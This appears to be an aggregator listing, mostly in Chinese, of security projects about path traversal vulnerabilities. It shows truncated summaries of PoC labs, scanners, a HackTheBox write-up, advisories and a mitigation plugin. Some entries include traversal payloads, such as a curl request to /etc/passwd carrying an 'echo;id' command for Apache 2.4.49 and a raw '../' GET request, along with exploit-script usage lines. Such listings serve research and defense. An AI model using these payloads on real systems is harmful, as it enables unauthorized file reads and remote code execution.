POC_CVE-2024-4322

CVE-2024-4322：LoLLMS WebUI PoC 与 Nuclei 验证实验室 本仓库提供 Docker 化的本地实验室，用于复现 CVE-2024-4322 （LoLLMS WebUI v9.6 中的一个路径遍历漏洞），并验证相关的 Nuclei 模板不会匹配 LoLLMS WebUI v9.8。 请仅对本地、自有或明确授权的目标使用此实验室。 漏洞摘要 LoLLMS WebUI v9.6 中的 /listpersonalities 端点存在路径遍历漏洞。用户可控的 category 参数未经净化处理即被追加到 personalitieszoopath：...

CVE-2020-3452-Cisco-Python-Scanner

CVE-2020-3452 扫描器 一个安全且非破坏性的 Python 扫描器，用于检测 Cisco ASA / FTD WebVPN 目录遍历漏洞 CVE-2020-3452 。 CVE-2020-3452 是一个严重的未认证路径遍历漏洞，允许远程攻击者在 Cisco ASA 或 FTD 设备上读取任意文件。 概述 该工具通过利用 WebVPN 翻译表端点中的目录遍历缺陷，测试攻击者是否能在未认证的情况下读取敏感文件（如门户页面、脚本及配置相关文件）。 注意 ：此脚本仅执行 GET 请求，不 尝试利用漏洞或写入任何数据。 漏洞详情 CVE ID : CVE-2020-3452 严重性 ...

HackTheBox-Facts

HTB Facts — 完整 Writeup 难度： 中等 操作系统： Linux 标签： Web, MinIO, Camaleon CMS, 路径遍历, SSTI, 权限提升 目录 1. 信息收集 2. Web 枚举 — 端口 80 3. MinIO 发现 — 端口 54321 4. Camaleon CMS — 管理员访问 5. 权限提升至管理员角色 6. MinIO 凭证发现 7. 任意文件读取 — CVE-2024-46987 8. SSH 访问 trivia 用户 9. 权限提升至 Root 10. Flag 信息收集 首先进行全 TCP 端口扫描以识别开放服务。...

CVE-2026-18386 WP BackItUp Community Edition <= 2.1.0 - Authenticated (Administrator+) Path Traversal to Arbitrary File Read via 'backup_file' Parameter

The WP BackItUp Community Edition plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 2.1.0 via the 'backupfile' parameter parameter. This makes it possible for authenticated attackers, with administrator-level access and above, to read the contents of...

Grafana-Password-Decryptor

Grafana 密码解密工具 用于从多种格式解密和破解 Grafana 密码的 Python 工具包。 代码作者：strikoder 该工具能做什么？ 处理 两种类型 的 Grafana 密码存储： 🔐 AES-256 Base64 （datasource 表）→ 使用 AESDecrypt.py 直接解密 🔨 PBKDF2HMACSHA256 （user 表）→ 使用 grafana2hashcat.py 转换为 Hashcat 格式 完美适用于 CVE-2021-43798 路径遍历漏洞的后利用阶段。 什么是 CVE-2021-43798？ 一个存在于 Grafana...

CVE-2026-39813

🛡️ CVE-2026-39813 - Fortinet FortiSandbox 路径遍历漏洞 📌 概述 CVE-2026-39813 是一个影响 Fortinet FortiSandbox 的严重路径遍历漏洞 。 该漏洞源于对用户提供的文件路径验证不当，攻击者可利用 ../ 等目录遍历序列访问预期目录结构之外的未授权文件。 ⚠️ 受影响版本 此漏洞影响以下版本： FortiSandbox 4.4.0 – 4.4.8 FortiSandbox 5.0.0 – 5.0.5 🧠 技术细节 该漏洞是由于后端 API 组件对文件路径输入的清理不足所致。 根本原因： 对文件路径参数缺少输入验证...

CLEANSTART-2026-OB24504 Previously, resolving relative paths containing parent directory ('

Multiple security vulnerabilities affect the kube-state-metrics package. Previously, resolving relative paths containing parent directory '. See references for individual vulnerability details...

CLEANSTART-2026-WZ31386 Previously, resolving relative paths containing parent directory ('

Multiple security vulnerabilities affect the ingress-nginx-controller package. Previously, resolving relative paths containing parent directory '. See references for individual vulnerability details...

CVE-2026-26336-PoC

CVE-2026-26336 — Alfresco Share 未授权文件读取 概述 Alfresco Share 暴露了一个用于提供静态资源的 /share/page/resource/ 端点。在受影响版本中，该端点未正确限制路径遍历，允许未授权攻击者读取 Share Web 应用（以及可能部署在同一 Tomcat 实例中的同级 Web 应用）中的任意文件。 受影响版本 Alfresco Community Edition 25.3.0（直接遍历） Alfresco Community Edition 25.3.0（通过 ..;/ 绕过补丁） 影响 未授权攻击者可以读取已部署 Web...

cve-2026-39440-funnelforms-fix

CVE-2026-39440 FunnelForms 修复插件 一个即插即用的 WordPress 插件，用于阻止 FunnelForms Pro ≤ 3.8.1 中存在漏洞的 Demo Import 处理器，以缓解 远程代码执行（CVE-2026-39440，CVSS 9.9） 风险。 漏洞详情 字段| 值 ---|--- CVE ID| CVE-2026-39440 CVSS 评分| 9.9（严重） 受影响版本| FunnelForms Pro ≤ 3.8.1 所需权限| 低（订阅者级别） 漏洞类型| 代码注入 → 远程代码包含 → RCE 是否已修复？| 官方厂商暂未发布补丁 发现...

CVE-2026-5027

CVE-2026-5027 - Langflow 路径遍历导致远程代码执行 描述 Langflow 1.8.4 及更早版本未对 POST /api/v2/files 端点中的 filename 参数进行清理。攻击者可以利用路径遍历序列（../）将文件写入文件系统上的任意位置。结合 Langflow 默认的自动登录配置，该漏洞可在无需任何身份验证的情况下被利用，通过 cron 任务注入实现以 root 权限执行远程代码。 受影响版本 受影响： Langflow = 1.8.4 已修复： 撰写本文时暂无可用补丁 默认配置： 自动登录已启用（可未授权利用） 安全公告： Tenable...

cve-2021-41773

cve-2021-41773 运行服务器 $ docker build -t cve-2021-41773 . $ docker run --rm -d -p 80:80 cve-2021-41773 漏洞利用 curl --data "echo;id" 'http://localhost/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd' 原因 httpd.conf 文件中的配置错误结合路径遍历 = RCE...

CVE-2021-41773

CVE-2021-41773 Apache2 2.4.49 - LFI 与 RCE 漏洞利用 信息 root@kitploit: 漏洞标题: Apache HTTP Server 2.4.49 - 路径遍历与远程代码执行（RCE） 漏洞作者: Gaurav Raj https://gauravraj.xyz https://blog.gauravraj.xyz 厂商主页: https://apache.org/ 版本: 2.4.49 测试环境: 2.4.49 CVE : CVE-2021-41773 截图...

CVE-2023-50164-PoC

CVE-2023-50164（Apache Struts 路径遍历到 RCE 漏洞）- 概念验证 此 PoC 旨在通过利用 Apache Struts2 漏洞来测试 RCE（远程代码执行）。 构建镜像并运行容器： root@kitploit: $ DOCKERBUILDKIT=1 docker build . -t struts2-rce-poc && docker run --rm -p 8080:8080 struts2-rce-poc 运行漏洞利用程序： root@kitploit: $ cd exploit $ ./exploit.sh 现在你可以在服务器端执行任意命令，如下所示...

Se7enSlip

🔒 Se7enSlip - 7-Zip 漏洞扫描器 一个令人惊叹的交互式 Web 应用程序，用于演示和帮助检测 7-Zip 压缩包中的关键 CVE-2023-52169 符号链接遍历漏洞。 ⚡ 功能特性 🎯 核心功能 ZIP 上传与分析 - 拖放或点击上传 ZIP 文件，进行全面的安全分析 实时扫描 - 针对路径遍历、符号链接和恶意条目的高级模式检测 详细报告 - 包含风险评估和建议的高管级报告 交互式演示 - 展示攻击流程的动画漏洞说明 🎨 高级 UI/UX 矩阵雨效果 - 带有下落数字字符的动画背景 浮动粒子 - 增强视觉吸引力的动态粒子系统 流畅动画 -...

CVE-2026-29780

官方示例脚本中的路径遍历漏洞导致任意文件写入 摘要 官方示例脚本 examples/recursivelyextractattachments.py 包含一个路径遍历漏洞，允许在预期输出目录之外进行任意文件写入。从解析的邮件中提取的附件文件名未经任何清理直接用于构造输出文件路径，使得攻击者控制的文件名能够逃逸目标目录。 详情 文件：examples/recursivelyextractattachments.py 行号：61–64 root@kitploit: for a in m'attachment': outfilepath = outpath / a'filename' 无清理...

CVE-2021-41773

CVE-2021-41773 Apache 2.4.49 路径遍历漏洞 https://ubuntu.com/security/CVE-2021-41773 受影响版本（时间：2021年10月6日 22:49） 使用方法 root@kitploit: IP python3 CVE-2021-41773.py -i 10.10.10.10 -s IP 列表 python3 CVE-2021-41773.py -l /home/ac1d/Documents/code/python/CVE-2021-41773/ips.txt -s 截图 检查 Apache 版本 user@server2:$...

CVE-2026-29909-MRCMS-vulnerability

CVE-2026-29909：MRCMS V3.1.2 - 未认证目录枚举漏洞 CVE ID CVE-2026-29909 描述 MRCMS V3.1.2 的文件管理模块中存在一个未认证目录枚举漏洞。/admin/file/list.do 端点缺乏认证控制及适当的输入验证，允许远程攻击者在无需任何凭据的情况下枚举服务器上的目录内容。 概念验证（PoC） root@kitploit: GET /admin/file/list.do?path=../../../src/main/resources/ HTTP/1.1 Host: target-server 影响 未经授权访问服务器目录结构...

CVE-2026-5027

这篇文章是由 EQSTLab 发布的研究文章。 感谢Yahia Hamza 报告并分析了此漏洞。 CVE-2026-5027 ★ CVE-2026-5027 Langflow 路径遍历 / 任意文件写入 PoC ★ 描述 CVE-2026-5027：Langflow 任意文件写入漏洞 描述：Langflow 带认证模式的验证 python3 CVE-2026-5027.py -t -u -p 分析 易受攻击的端点 root@kitploit: POST /api/v2/files 问题在于上传功能信任客户端提供的 multipart filename...

CVE-2025-55752

CVE-2025-55752：Apache Tomcat 路径遍历漏洞 基于 Docker 的 CVE-2025-55752 复现环境，该漏洞是 Apache Tomcat 10.1.44 中的一个路径遍历漏洞。 概述 CVE-2025-55752 是 Apache Tomcat RewriteValve 中的一个路径遍历漏洞，由错误的处理顺序引起：URL 规范化发生在 URL 解码之前 。这允许攻击者使用 URL 编码的路径遍历序列（..%2f）绕过对 /WEB-INF/ 等目录的安全限制。 漏洞特征 CVE ID ：CVE-2025-55752 CVSS v3.1 ：7.5（高危）...